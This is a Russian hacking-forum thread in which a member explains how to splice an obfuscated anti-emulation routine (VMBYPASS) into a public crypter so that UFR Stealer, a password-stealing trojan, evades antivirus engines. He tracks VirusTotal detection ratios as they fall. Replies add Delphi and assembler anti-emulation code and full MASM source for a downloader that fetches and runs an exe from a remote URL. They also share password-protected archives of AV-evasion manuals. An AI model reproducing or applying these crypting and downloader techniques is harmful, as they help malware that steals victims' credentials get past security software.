• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья VMBYPASS

KraZz

(L3) cache
Пользователь
Регистрация
18.06.2009
Сообщения
196
Реакции
7
Многие здесь пишут, что дамага превратилась в говнофорум (а некоторые "дети" думают, что я тоже так думаю %))) ), я же хочу показать, что это не так...
Должна же быть какая-та изюминка чтоле :)

Недели две назад я регнулся на форуме fuckav.ru (сразу скажу, что под другим ником регался, иначе все могло бы быть...) и вот недавно (несколько дней назад) я там запостил статью (которая ниже будет)
Произошел нах полтергейст и форум пал на день, но это, ни для кого не новость, а скорее баян...
Форум естественно ожил и все бы ничего, но все посты (и моя статья) за две недели с форума исчезли, похоже на то, что форум восстановили из бэкапа
Ну думаю, бывает.. решил войти и сделать дубль, а мне в ответ: - такого ника нах не существует... %)))
Решил регнуться на exploit.in (естественно под другим ником) и запостить там статью, но там у меня попросили прямо с ходу ключи от дома, где деньги лежат...
Оказывается там тебя проверят, и если ты трумЭн, тебе дадут доступ, - ну хуля делать, пишу как есть, решил запостить на форуме статью для обсуждения.
Там написано, что сутки надо подождать.
Через сутки захожу, а мне такого ника нах не существует... %)))
Вот так захочешь статью запостить, а тебя везде (если у тебя имени нет) нах шлют...
Не приспособлена хексцена для релиза статей, а вы говорите дамага...
Просто мы хотим еще чего-то лучше, а если сравнить с остальными сайтами, то мы еще и жируем...
Есть ли еще подобный ресурс, где вот так можно демократично общаться на серьезные темы?

Ну, наверное, я уже всех заебал своими соплями, сталобыть "конфетко".

Это моя первая статья на этом форуме, вернее это не статья, а скорее информация для размышления в виде статьи.
Надеюсь, что инфа многим будет интересна, и я смогу еще что-то полезное написать... (сделать свой вклад в развитие форума. :) )

Попалась мне на васме одна тема:
http://www.wasm.ru/forum/viewtopic.php?id=46029
Там был выложен на пятой странице бинарный hex-код (VMBYPASS) и пример кода на ассемблере как его юзать.
Стало интересно, а рабочий ли там код, и какой будет профит от него, если его заюзать в каком-нибудь крипторе да еще и закриптовать что-то такое, что детектится всеми ахтунгами на VT (https://www.virustotal.com/).

Для тестов был взят паблик криптор Li0n Polymorphic Crypter V1.2
http://www.sendspace.com/file/r1titx
PASS: 6702
На склейку я его не проверял, (и если честно даже не помню где скачал) потому юзаем его только на VMware или на другой виртуалке...
- Почему именно он?
Этот криптор уже реликт (стало быть, мы его можем проверить на VT), он детектится большинством AV (антивирусы) и самое главное позволяет вставить нужный нам код, скомпилировать его и проверить его на годность.
Если посмотреть содержимое файла how to use.txt, то можно увидеть:
open Output.dpr with delphi IDE or any text editor like notepad

look for this line
//Anti-emulator Code goes here
Вот в это место нам и предстоит вставить бинарный hex-код (VMBYPASS).
На мой взгляд, это очень хорошее место чтобы проверить сабж. IMHO.

Криптовать будем UFR Stealer
https://vazonez.com/forum/index.php?topic=3.0
- Почему именно UFR Stealer?
UFR Stealer уже давно побывал на VT и имеет свою сигнатуру, а стало быть мы также его можем проверить на virustotal.com
В UFR Stealer присутствует весь необходимый функционал для проверки эвристического анализа антивирусов. IMHO. (надеюсь, никто не станет цепляться к словам.)

Криптовать и компилировать готовый код мы будем на виртуальной машине.
Для начала нам нужно сделать предварительные тесты на VT, чтобы зафиксировать сигнатуры, которые нам выдадут AV
Билдим сэмпл (result.exe) UFR Stealer'ом с настройками по-умолчанию, но изменим несколько опций:
- Нажав кнопку «Отправка на почту» установим галочку «Отправлять отчеты на почту» в настройках для отсылки отчетов на e-mail
- Установим галочку на опции «Извлекать жертве в:»
- Уберем галочку с опции «Упаковывать результат UPX'ом»
Шлем на VT:
https://www.virustotal.com/file/40e4831b94c...sis/1353131261/
И видим, что UFR Stealer имеет свою сигнатуру Usteal, UFR, Ldpinch и т.д.
Detection ratio: 33/44
Теперь берем криптор Li0n Polymorphic Crypter V1.2 (тот, что в папке LionCrypter) и криптуем наш сэмпл, который мы только что проверили и опять проверяем на VT:
https://www.virustotal.com/file/1701da68967...sis/1353131363/
Detection ratio: 21/44
Видим, что криптор почти справился со своей задачей и скрыл тот факт что мы юзаем UFR Stealer, но AV палят сам криптор, для того чтобы такого не происходило (чтобы наш криптор не палился) нам и нужен код антиэмуляции. (как один из методов анти.)

В папке LionCrypterMod уже присутствует готовый, мной модифицированный код (Delphi), единственное я хочу пояснить некоторые детали сделанных изменений и как всем этим пользоваться.
В папке Compiler (LionCrypterMod) есть файл functions.pas. Я в конец этого файла добавил новую функцию AntiEmul и бинарный hex-код (VMBYPASS)
Я его (константа VMBYPASS_bin) просто банально поксорил (xor 26h), хотя если честно предварительно сделал тест на детек кода VMBYPASS по сигнатуре и на вирустотале получил 0/44, стало быть, этот код в народе даже и не пытались массово заюзать, раз за такое прошедшее время AV даже не создали простую банальную сигнатуру.
Теперь о некоторых особенностях VMBYPASS:
- При тестах этот запущенный код из под отладчика не работает на некоторых виртуальных машинах, т.е. он всегда возвращает нужные значения (соответственно не выполняет возложенные на него обязанности и становится бесполезен, так как большинство засранчиков запускают из под VM), но вот на реальном компе, все работает как надо.
- Этот код должен иметь атрибут памяти разрешающий исполнение кода, иначе мы будем ловить исключение, и у нас работать вообще ничего не будет.
- Этот код однозначно нуждается в серьезных тестах на разных системах линейки Windows при крипте разных зловредов, так как мы все знаем что боты, трояны и т.д. могут плохо криптоваться (нужно учитывать также и разные версии зловредов), и если мы в наш криптор добавим этот антиэмуль, то из-за него могут возникнуть проблемы несовместимости.
IMHO. Этих пунктов уже достаточно чтобы забить на VMBYPASS так как быстрый профит мы не получим, но нам же интересно все-таки чем все закончится?

Теперь немного о VMBYPASS и параметрах, которые он возвращает:
Вообще тут нужно в первую очередь экспериментировать с API, искать те, которые еще не могут эмулить антивирусы
Я же использовал RtlComputeCrc32 из примера. Я думаю, кому будет интересно, поэкспериментирует уже сам с другими API и может быть отпишется о результатах...
Аа забыл про результат. На выходе в rEax результат исполнения кода(то что он вертает в rEax), в rEcx число исполненных инструкций, в rEdx MAGIC.
В еах возвращается результат API - этот результат нужно получить предварительно в реальной среде, а уже в дальнейшем производить с этим результатом дальнейшие действия, например декриптовать какой-то участок данных или кода.
В есх возвращается число исполненных инструкций - здесь также нужно получить результат предварительно в реальной среде и только после этого установить диапазон, в пределах которого будет считаться, что выполнена реальная API.
В еdх возвращается MAGIC - просто проверяем, - если да, то значит, запускаем криптор.

Теперь берем криптор Li0n Polymorphic Crypter V1.2 (тот, что в папке LionCrypterMod) и криптуем наш result.exe
После того как закриптовали наш сэмпл мы получим файл Output.dpr нам нужно сделать небольшое изменение в нем перед тем как скопировать его в папку Compiler.
Нужно вставить в файл Output.dpr вот такой код: (так, как об этом написано в how to use.txt)
Код:
if AntiEmul() = False then Exit;
после комментария //Anti-emulator Code goes here
Т.е. должно получиться примерно так:
Код:
allstr:=getpart1+'';
//Anti-emulator Code goes here
if AntiEmul() = False then Exit;
allstr := Decode64(allstr);
for key := 959 downto 5 do
begin
allstr:= DataEncrypt(allstr, key);
end;
Shellcode := Decode64(Shellcode);
for key := 9460 downto 5 do
begin
Shellcode:= DataEncrypt(Shellcode, key);
end;
RunPEProc := @Shellcode[1];
RunPEProc(@allstr[1],length(allstr));
end.
Компилим (просто запустив файл Build.bat) и отправляем получившийся Output.exe на проверку на VT:
https://www.virustotal.com/file/4828c9b5ba1...sis/1353131456/
Detection ratio: 13/44
Уже меньше, но результат не является хорошим и для его уменьшения требует долгих тестов и поиска подходящих для антиэмуляции API.
Если сравнить отчеты с VT то можно увидеть, кого убрал антиэмуль. :)
К примеру, Avast (Win32:Delf-RFT [Drp]) не изменился, а вот AVG, DrWeb и т.д. исчезли...

К слову сказать, я все-таки решил сделать дополнительно еще одну проверку и взял за основу идею и пример отсюда:
http://kaimi.ru/2011/11/antivirus-trolling/
в результате получил на VT 0/44.
То есть простые и примитивные тесты все-таки дают положительный результат и отсюда возникает вопрос, а есть ли польза от таких вот статей и такого паблик кода?
Получается, что вроде код рабочий, но в реальной жизни не актуален и профит от него сомнительный...
 
Тащемта вся суть раскрывается ссылкой на васм с темою avvm и последним предложением из оп данного топека:)
С чем всех и поздравляем.
 
кразз молодца! говоришь о том, о чем привыкли молчать:) за примером ходить некуда не нужно, сам выше описал тенденцию...

по теме:
Код:
pVMBYPASS := Pointer(Data);
   VirtualProtect(@pVMBYPASS, size, PAGE_EXECUTE_READWRITE, OldProtect);
   asm
      push 4
      lea eax, [strTest]
      push eax
      push 0

      mov pArgs, esp
   end;
   nArgs := 3;

   pVMBYPASS(@RtlComputeCrc32, pArgs, nArgs);
   asm
      mov rEax, eax
      mov rEcx, ecx
      mov rEdx, edx

      mov eax, nArgs
      lea eax, dword ptr [eax*4]
      add esp, eax
   end;
   //LocalFree(Cardinal(tmpBuffer));
   if (rEax xor $5DFE7036) = 0 then
   begin
      if (rEdx = MAGIC) and (rEcx > $10) then
по этой связке запалят в 6 сек по эвристике не доходя до самой эмуляции... и кроме как мусорить я не вижу выхода иного (морфить не особо много вариантов выйдет).
а также мсе около минуты думал переваривая этот кодес, в итоге промолчал (вкупе с UrlDownloadToFileA и CreateProcessA с динамическим поиском их).
 
Хехе, фишка с Li0n Polymorphic Crypter: сам пользовался около трех месяцев. При скудных познаниях в кодинге, готовой либой AES-шифрования пользовался, и добавлением мусора в function - получался 100% FUD, не универсальный крипт, но свой родной, "приватный"))

Когда уже метода стала четко распознаватся авирой и парой других 'забугорцев', и никак по-другому не получалось пошифровать тот шелл-код => все это проделывал "в форме" DLL, и к нему отдельный "стартер" делал, который вызывал функцию с этой самой DLL. Выручало..)

Кстате тоже думал написать подобный мини-мануал) ТС, спасибо)
 
Подскажите еще пожалуйста статей по крипту екзе, очень интересно.
b0254c4b3df8.png


4d94e355361b.png


Две "сборки", каждая из которых, содержит в себе видео-мануалы, PDF-документы и пр. руководства, по чистке малвари от детекта антивирусами. Все оформлено в удобной оболочке AutoMedia.

:zns5: Скачать с narod.ru
Пароль на архив: hzteam
 
К слову сказать, я все-таки решил сделать дополнительно еще одну проверку и взял за основу идею и пример отсюда:
http://kaimi.ru/2011/11/antivirus-trolling/
в результате получил на VT 0/44.

>На днях лень было заниматься чем-то сложным, поэтому решил заняться >трендовым нынче направлением - обманом антивирусов. Сейчас статей типа >"апходим мегакрутой онтевирус" в том же журнале "Хакер" развелось >немеряно, причем способы обхода антивирусов авторы выбирают >наиприметивнейшие: банальное шифрование строк статическим ключом, >добавление формальных задержек (Sleep) и прочие вещи, вводящие в >заблуждение только самые недалекие антивирусы. Представьте: автор пишет >херню на 3-4 страницы, размазывая на них анализ своего мегавируса тремя >антивирусами, и в итоге даже не способен обойти все из выбранных антивирей, >а получает за это 5000 рублей.
>Несправедливо, тем более времени на написание такой статьи необходимо >совсем немного, часа два!
>Итак, я потратил около часа на то, чтобы написать программу, скачивающую из >интернета exe-файл и сразу запускающую ее. Удалось обойти антивирусы >Kaspersky Internet Security 2011, NOD32, Dr. Web, Microsoft Security Essentials и >Avast. Скорее всего, и другие бы ничего не заметили, просто не проверял. А >антивирусы из списка выше даже не пикнули, когда запускался файл, >скачанный только что из интернета.

это сообственно самореклама или бред очередной. я не писал подобных статей, но посмотрите на код который dx писал целый час, это же лол.

Код:
.386
.model flat, stdcall
option casemap :none
 
include \masm32\include\windows.inc
include \masm32\macros\macros.asm
include no_import.asm
uselib kernel32, user32
 
 
.code
string_coder PROC data:DWORD
LOCAL buf[16]:BYTE
 
  invoke lstrlen, data
  mov esi, data
  mov edi, eax
 
  next_sym:
  .if edi > 0
    invoke SetLastError,0
    invoke QueryDosDevice, chr$("C:"), addr buf, 5
 
    .if eax == 0
      invoke GetLastError
      and al,0Fh
      dec al
      xor byte ptr [esi],al
      inc esi
      dec edi
      jmp next_sym
    .endif
  .endif
 
  mov eax, data
ret
string_coder ENDP
 
start PROC
  LOCAL funcname:DWORD
 
  noimport_call_prepare
 
.data
fname db "\[EMf~gefhm]fO`elH",0
.code
 
  mov funcname, FUNC(string_coder,offset fname)
  noimport_invoke_load funcname, chr$("urlmon.dll"), 0, chr$("http://kaimi.ru/hello_world.exe?12"), chr$("hello_world.exe"), 0, 0
 
  mov funcname, FUNC(string_coder,chr$("ZaleeLqlj|}lH"))
  noimport_invoke_load funcname, chr$("shell32.dll"), 0, chr$("open"), chr$("hello_world.exe"), 0, 0, SW_SHOWNORMAL
 
 
  invoke ExitProcess, 0
start ENDP
end start

По теме статьи КраЗза, или больше тут подходит подробное HOWTO, Клерк там засрал весь васм кирпичами. На будующее не пишите о нем ничего плохого, он же кровей диванной илиты :3


//vx
 
Пожалуйста, обратите внимание, что пользователь заблокирован
satsura
Да ладно вам, dx хотя бы не скамерс и писал код для паблика, без какой-либо денежной выгоды. Тут некоторые товарищи даже обходом середины 2000ых за так не поделятся.

Да и касаемо часа - он же не сразу сел и написал, а тестил - сначала попробовал так, был детект, после пошифровал строки. Как кодер, вы это сами понимаете, что далеко не с первого раза получается все, как надо, иногда кодес, идея переписывается по несколько раз.
 
waahoo пишет:
только начало в духе - "я не хотел тут постить, но был вынужден" не понравилось.
Это скорее в духе: - «хотел как лучше, а получилось как всегда...»
Я регался на тех сайтах (планировал на шести зарегистрироваться, но из-за полтергейста у меня ничего не получилось) для того чтобы разместить эту статью там, подождать немного и посмотреть на комменты, которые там оставят... (естественно на те которые будут по теме)
Потом разместить здесь на дамаге и сравнить че из этого получицца.
Потом когда "страсти" улеглись бы, я на дамаге разместил бы вторую часть этой статьи, а на тех сайтах просто оставил бы ссылку на дамагу со второй частью, как бы "вынуждая" юзеров с других ресурсов "посетить" дамагу.. думал, может новые мемберы появятся и оживится обстановка...
Короче, походу изначально была глупая затея.. да и времени у меня как всегда...
 
Да кразз.. опять заморачиваешься на чужие посты... А зря.
Единственное так это то что ты на виртустотале сканишь наверное задевает.
 
загадка vmbypass )))

Алгоритм VMBYPASS - это основной цикл виртуальной машины, который выполняет эмуляцию выполнения кода на уровне инструкций. Вкратце он работает следующим образом:

1. Инициализация - сохраняется указатель стека в TLS, аргументы функции загружаются на стек.

2. В начале цикла (Step) проверяется, нужно ли вызвать callback функцию. Если да, то она вызывается.

3. Вызывается декодер LDE (VirXasm32), который возвращает длину следующей инструкции.

4. Извлекаются префиксы инструкции, обновляется текущий IP.

5. Вызываются функции определения переходов для инструкций условных переходов (Jcc), безусловных переходов (Jmp) и вызовов (Call). Если возвращен не нулевой адрес, то он сохраняется как следующий IP.

6. Если инструкция ret, то восстанавливается контекст из стека и проверяется не вышли ли за границы стека.

7. Если штатная инструкция, то ее байт-код копируется в буфер эмуляции и устанавливается указатель IP на этот буфер.

8. Выполняются специальные действия для некоторых инструкций (sysenter, int 2d/2e).

9. Переход на шаг 2 цикла.

Таким образом происходит пошаговая эмуляция выполнения кода на уровне инструкций с динамическим определением адреса следующей инструкции.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх